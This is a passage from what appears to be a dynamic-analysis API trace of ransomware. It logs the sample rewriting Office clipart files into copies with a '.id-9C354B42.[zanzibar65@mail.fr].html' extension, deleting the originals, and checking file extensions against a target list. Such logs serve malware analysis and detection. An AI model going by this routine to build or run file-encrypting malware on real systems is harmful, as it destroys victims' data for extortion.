GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=31180) returned 1 [0273.617] CloseHandle (hObject=0x38c) returned 1 [0273.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0273.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.618] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.619] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.619] GetLastError () returned 0x0 [0273.619] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x79cc, lpOverlapped=0x0) returned 1 [0273.779] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0273.780] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.780] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.780] SetEndOfFile (hFile=0x39c) returned 1 [0273.780] CloseHandle (hObject=0x39c) returned 1 [0273.780] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.780] SetEndOfFile (hFile=0x38c) returned 1 [0273.783] CloseHandle (hObject=0x38c) returned 1 [0273.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0273.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.784] lstrlenW (lpString=".doc") returned 4 [0273.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.784] lstrlenW (lpString=".docx") returned 5 [0273.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.784] lstrlenW (lpString=".pdf") returned 4 [0273.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.784] lstrlenW (lpString=".xls") returned 4 [0273.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.784] lstrlenW (lpString=".xlsx") returned 5 [0273.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.784] lstrlenW (lpString=".ppt") returned 4 [0273.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.784] lstrlenW (lpString=".zip") returned 4 [0273.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.784] lstrlenW (lpString=".rar") returned 4 [0273.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.784] lstrlenW (lpString=".bz2") returned 4 [0273.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.784] lstrlenW (lpString=".7z") returned 3 [0273.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.784] lstrlenW (lpString=".dbf") returned 4 [0273.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.784] lstrlenW (lpString=".1cd") returned 4 [0273.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.785] lstrlenW (lpString=".jpg") returned 4 [0273.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.785] lstrlenW (lpString=".doc") returned 4 [0273.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString=".docx") returned 5 [0273.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.785] lstrlenW (lpString=".pdf") returned 4 [0273.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString=".xls") returned 4 [0273.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.785] lstrlenW (lpString=".xlsx") returned 5 [0273.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.785] lstrlenW (lpString=".ppt") returned 4 [0273.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.785] lstrlenW (lpString=".zip") returned 4 [0273.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.785] lstrlenW (lpString=".rar") returned 4 [0273.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString=".bz2") returned 4 [0273.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString=".7z") returned 3 [0273.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.785] lstrlenW (lpString=".dbf") returned 4 [0273.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.785] lstrlenW (lpString=".1cd") returned 4 [0273.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0273.786] lstrlenW (lpString=".jpg") returned 4 [0273.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.786] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.786] lstrlenW (lpString="FD02161_.WMF") returned 12 [0273.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.786] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3128) returned 1 [0273.786] CloseHandle (hObject=0x38c) returned 1 [0273.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0273.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.786] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.787] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.787] GetLastError () returned 0x0 [0273.787] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xc38, lpOverlapped=0x0) returned 1 [0273.789] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0273.789] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.789] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.789] SetEndOfFile (hFile=0x39c) returned 1 [0273.789] CloseHandle (hObject=0x39c) returned 1 [0273.789] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.789] SetEndOfFile (hFile=0x38c) returned 1 [0273.791] CloseHandle (hObject=0x38c) returned 1 [0273.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0273.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.792] lstrlenW (lpString=".doc") returned 4 [0273.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.792] lstrlenW (lpString=".docx") returned 5 [0273.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.792] lstrlenW (lpString=".pdf") returned 4 [0273.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.792] lstrlenW (lpString=".xls") returned 4 [0273.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.793] lstrlenW (lpString=".xlsx") returned 5 [0273.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.793] lstrlenW (lpString=".ppt") returned 4 [0273.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.793] lstrlenW (lpString=".zip") returned 4 [0273.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.793] lstrlenW (lpString=".rar") returned 4 [0273.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.793] lstrlenW (lpString=".bz2") returned 4 [0273.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.793] lstrlenW (lpString=".7z") returned 3 [0273.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.793] lstrlenW (lpString=".dbf") returned 4 [0273.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.793] lstrlenW (lpString=".1cd") returned 4 [0273.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.793] lstrlenW (lpString=".jpg") returned 4 [0273.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.793] lstrlenW (lpString=".doc") returned 4 [0273.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString=".docx") returned 5 [0273.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.794] lstrlenW (lpString=".pdf") returned 4 [0273.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString=".xls") returned 4 [0273.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.794] lstrlenW (lpString=".xlsx") returned 5 [0273.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.794] lstrlenW (lpString=".ppt") returned 4 [0273.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.794] lstrlenW (lpString=".zip") returned 4 [0273.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.794] lstrlenW (lpString=".rar") returned 4 [0273.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString=".bz2") returned 4 [0273.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString=".7z") returned 3 [0273.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.794] lstrlenW (lpString=".dbf") returned 4 [0273.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.794] lstrlenW (lpString=".1cd") returned 4 [0273.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0273.794] lstrlenW (lpString=".jpg") returned 4 [0273.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.794] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.795] lstrlenW (lpString="FLAP.WMF") returned 8 [0273.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.795] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2070) returned 1 [0273.795] CloseHandle (hObject=0x38c) returned 1 [0273.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0273.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.797] GetLastError () returned 0x0 [0273.797] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x816, lpOverlapped=0x0) returned 1 [0273.798] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x820, lpOverlapped=0x0) returned 1 [0273.799] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.799] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0273.799] SetEndOfFile (hFile=0x39c) returned 1 [0273.799] CloseHandle (hObject=0x39c) returned 1 [0273.799] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.799] SetEndOfFile (hFile=0x38c) returned 1 [0273.801] CloseHandle (hObject=0x38c) returned 1 [0273.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0273.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.802] lstrlenW (lpString=".doc") returned 4 [0273.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString=".docx") returned 5 [0273.802] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0273.802] lstrlenW (lpString=".pdf") returned 4 [0273.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString=".xls") returned 4 [0273.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.802] lstrlenW (lpString=".xlsx") returned 5 [0273.802] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0273.802] lstrlenW (lpString=".ppt") returned 4 [0273.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.802] lstrlenW (lpString=".zip") returned 4 [0273.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.802] lstrlenW (lpString=".rar") returned 4 [0273.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString=".bz2") returned 4 [0273.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString=".7z") returned 3 [0273.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.803] lstrlenW (lpString=".dbf") returned 4 [0273.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.803] lstrlenW (lpString=".1cd") returned 4 [0273.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.803] lstrlenW (lpString=".jpg") returned 4 [0273.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.803] lstrlenW (lpString=".doc") returned 4 [0273.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString=".docx") returned 5 [0273.803] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0273.803] lstrlenW (lpString=".pdf") returned 4 [0273.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString=".xls") returned 4 [0273.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.803] lstrlenW (lpString=".xlsx") returned 5 [0273.803] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0273.803] lstrlenW (lpString=".ppt") returned 4 [0273.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.803] lstrlenW (lpString=".zip") returned 4 [0273.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.803] lstrlenW (lpString=".rar") returned 4 [0273.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.804] lstrlenW (lpString=".bz2") returned 4 [0273.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.804] lstrlenW (lpString=".7z") returned 3 [0273.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.804] lstrlenW (lpString=".dbf") returned 4 [0273.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.804] lstrlenW (lpString=".1cd") returned 4 [0273.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0273.804] lstrlenW (lpString=".jpg") returned 4 [0273.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.804] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.804] lstrlenW (lpString="HH00057_.WMF") returned 12 [0273.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.807] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3764) returned 1 [0273.808] CloseHandle (hObject=0x38c) returned 1 [0273.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0273.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 